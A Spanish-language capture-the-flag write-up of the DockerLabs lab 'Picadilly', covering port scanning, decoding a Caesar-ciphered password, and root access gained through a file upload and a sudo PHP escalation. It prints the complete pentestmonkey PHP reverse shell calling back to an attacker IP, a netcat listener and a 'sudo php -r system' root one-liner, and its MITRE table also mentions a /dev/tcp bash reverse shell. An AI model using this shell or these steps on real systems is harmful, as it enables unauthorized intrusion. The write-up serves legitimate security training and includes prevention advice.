Maquina Picadilly

Autor: ZsZs
Plataforma: DockerLabs
Nivel: Fácil
Tipo: Web + File Upload + Escalada simple+Decrypt

1. Escaneo de Puertos

Comenzamos con un escaneo completo de todos los puertos TCP utilizando `nmap` con opciones agresivas para detectar servicios rápidamente:

```
──(zikuta㉿zikuta)-[~]
└─$ nmap -sV -sS -Pn -p- -sC --min-rate 5000 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 20:52 CDT
Nmap scan report for 172.17.0.2
Host is up (0.000010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.59
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 215   2024-05-18 01:19  backup.txt
|_
|_http-title: Index of /
|_http-server-header: Apache/2.4.59 (Debian)
443/tcp open  ssl/http Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
| tls-alpn:
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: Picadilly
| ssl-cert: Subject: commonName=50a6ca252ff4
| Subject Alternative Name: DNS:50a6ca252ff4
| Not valid before: 2024-05-18T06:29:06
|_Not valid after:  2034-05-16T06:29:06
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: picadilly.lab
```

Resultado relevante:

```
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.59
443/tcp open  ssl/http Apache httpd 2.4.59 ((Debian))
```

Enumeración del puerto 80 (HTTP)

Navegamos a `http://172.17.0.2` y encontramos un directorio llamado backup.txt que contenia lo siguiente:

```
/// The users mateo password is ////

---------- hdvbfuadcb ------------

"To solve this riddle, think of an ancient Roman emperor and his simple method of shifting letters."

////////////////////////////////////
```

Esto hace clara referencia al **cifrado César**, creado por Julio César. Procedimos a descifrar el string `hdvbfuadcb` usando una herramienta online de Caesar Cipher.

Resultado del descifrado:

```
hdvbfuadcb → easycrazy
```

Por lo tanto, obtenemos credenciales:

- **Usuario**: `mateo`
- **Contraseña**: `easycrazy`

Análisis del puerto 443 (HTTPS)

En `https://172.17.0.2`, encontramos una aplicación web personalizada que mostraba el título "Picadilly" y una funcionalidad de **subida de archivos** (`upload.php`). Esto nos dio la posibilidad de intentar una **inyección de reverse shell en PHP**.

Explotación - File Upload y Reverse Shell

4.1 Preparación de la reverse shell

Utilizamos una reverse shell en PHP:

```
(zikuta㉿zikuta)-[~/Downloads/picadilly]
└─$ cat shell.php
<?php
```

```php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.226.128';
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();

	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}

	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
```

```
        printit("$errstr ($errno)");
        exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a,
null);

        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }
```

```
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>
```

Guardamos el archivo como `shell.php` y lo subimos exitosamente desde el panel de subida.

4.2 Acceso a la shell

Después de la subida, descubrimos que los archivos eran accesibles vía `/uploads/`. Entonces accedimos a:

```
https://172.17.0.2/uploads/shell.php
```

Antes de eso, pusimos un listener en nuestra máquina:

```
(zikuta㉿zikuta)-[~/Downloads/picadilly]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
```

```
connect to [192.168.226.128] from (UNKNOWN) [172.17.0.2] 56668
Linux f702455fe6bd 6.12.13-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.13-1kali1
(2025-02-11) x86_64 GNU/Linux
 02:02:24 up 14 min,  0 user,  load average: 2.93, 4.30, 2.21
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Escalada horizontal a usuario `mateo`

Probamos las credenciales que descubrimos previamente (`mateo:easycrazy`) para cambiar de usuario:

```
$ su mateo
Password: easycrazy
ls
pwd
/home/mateo
ls
whoami
mateo
```

Con esto, teníamos acceso como usuario regular.

Escalada de privilegios

Revisamos los permisos sudo:

```
sudo -l
Matching Defaults entries for mateo on f702455fe6bd:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User mateo may run the following commands on f702455fe6bd:
    (ALL) NOPASSWD: /usr/bin/php
```

Esto nos da acceso total para ejecutar PHP como root sin contraseña.

Explotacion SUID PHP

Ejecutamos el siguiente comando:

```
sudo /usr/bin/php -r 'system("/bin/bash");'
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
```

Obtenemos acceso como root.

Tecnicas Utilizadas

Técnica	Explicación
Nmap Full Scan	Detección de servicios abiertos y versiones
Directory Listing Abuse	Enumeración de archivos expuestos vía HTTP
Cifrado César	Decodificación de texto cifrado con desplazamiento
Upload Vulnerability	Subida de shell PHP para ejecución remota
Reverse Shell	Conexión de regreso hacia el atacante para tomar control
Credenciales filtradas	Uso directo de contraseña extraída para escalar usuario
Sudo abuse	Escalada de privilegios usando PHP sin contraseña

Permisos sudo mal configurados (Sudo Misconfiguration)

Técnica utilizada:

El usuario `mateo` tenía permisos de sudo para ejecutar `/usr/bin/php` como root sin necesidad de contraseña.

Por qué es crítico:

- Permitir ejecutar intérpretes (como PHP, Python, Perl, etc.) con sudo **es equivalente a regalar acceso root** si no hay restricciones adicionales.
- El atacante puede ejecutar cualquier comando del sistema desde el intérprete.

Cómo prevenirlo:

- **Evitar permitir lenguajes de scripting en sudo sin restricciones**.
- Si es necesario usarlos, usar herramientas como `sudoers` con `NOPASSWD` pero restringiendo a scripts específicos **sin argumentos variables**, así:

MITRE ATTA&CK

Táctica (Objetivo)	Técnica (Nombre)	ID MITRE ATT&CK	Descripción específica en Picadilly
Reconocimiento	*Gather Victim Host Information*	T1592.002	El escaneo con Nmap reveló servicios (Apache en puertos 80 y 443), sistema operativo (Debian) y versión.
Descubrimiento	*Network Service Discovery*	T1046	Se utilizó `nmap` con `-p-` y `-sV` para detectar todos los servicios disponibles.
Acceso Inicial	*Exploit Public-Facing Application*	T1190	Se explotó la función de subida de archivos en la web (upload.php) para subir una shell PHP.
Ejecución	*Command and Scripting Interpreter: PHP*	T1059.005	Se usó `php` para ejecutar comandos del sistema y obtener reverse shell.
Ejecución	*Command and Scripting Interpreter: Bash*	T1059.004	Reverse shell se ejecutó con `bash -i >& /dev/tcp/...` para establecer conexión.
Persistencia / Privilege Esc.	*Valid Accounts*	T1078.001	Uso de credenciales válidas (`mateo:easycrazy`) encontradas en archivo público para escalar de `www-data` a `mateo`.
Privilege Escalation	*Abuse Elevation Control Mechanism: Sudo*	T1548.003	El usuario `mateo` tenía sudo sin contraseña sobre `/usr/bin/php`, lo que se abusó para ejecutar comandos como root.
Defense Evasion	*Obfuscated Files or Information*	T1027	La shell PHP fue disfrazada como archivo de apariencia legítima para pasar la validación de upload.
Command and Control (C2)	*Application Layer Protocol: Web Protocols*	T1071.001	La reverse shell fue activada mediante petición HTTP al archivo subido.
Command and Control (C2)	*Ingress Tool Transfer*	T1105	La shell se subió al servidor como archivo `.php` mediante la funcionalidad vulnerable.

Conclusion

La máquina *Picadilly* de DockerLabs demostró ser un entorno excelente para aplicar técnicas de pentesting realistas, desde la enumeración inicial hasta la escalada de privilegios. A lo largo del proceso, se evidenció cómo una configuración débil en la seguridad de servicios web puede permitir accesos no autorizados y comprometer todo el sistema.

Mediante un escaneo completo de puertos con `nmap`, se identificaron servicios web en los puertos 80 y 443. En el servicio HTTP se descubrió un archivo público que contenía una contraseña cifrada utilizando el cifrado César, lo que permitió obtener acceso a una cuenta de usuario del sistema. Luego, se detectó una funcionalidad vulnerable de subida de archivos en el sitio HTTPS, la cual permitió la ejecución de una shell PHP remota y el acceso como el usuario `www-data`.

Posteriormente, con las credenciales filtradas, se escaló horizontalmente al usuario `mateo`, quien tenía permisos de `sudo` para ejecutar PHP como root sin contraseña. Esta configuración incorrecta permitió una escalada directa a privilegios de administrador.

Durante todo el proceso, se aplicaron técnicas concretas del framework MITRE ATT&CK, como abuso de subida de archivos (`T1190`), uso de cuentas válidas (`T1078.001`), abuso de `sudo` (`T1548.003`) y ejecución de intérpretes (`T1059`). Estas acciones reflejan fallas comunes en entornos reales, especialmente en lo relacionado con permisos mal configurados, gestión insegura de contraseñas y validaciones insuficientes en aplicaciones web.

En conclusión, *Picadilly* resalta la importancia de fortalecer la seguridad desde múltiples frentes: proteger archivos públicos, validar correctamente los formularios web, restringir el uso de `sudo`, y aplicar el principio de mínimo privilegio. Estos elementos, cuando son ignorados, se convierten en vectores de ataque que pueden ser explotados incluso por atacantes con conocimientos básicos. Este ejercicio demuestra, una vez más, que la seguridad ofensiva bien practicada es clave para fortalecer defensas efectivas.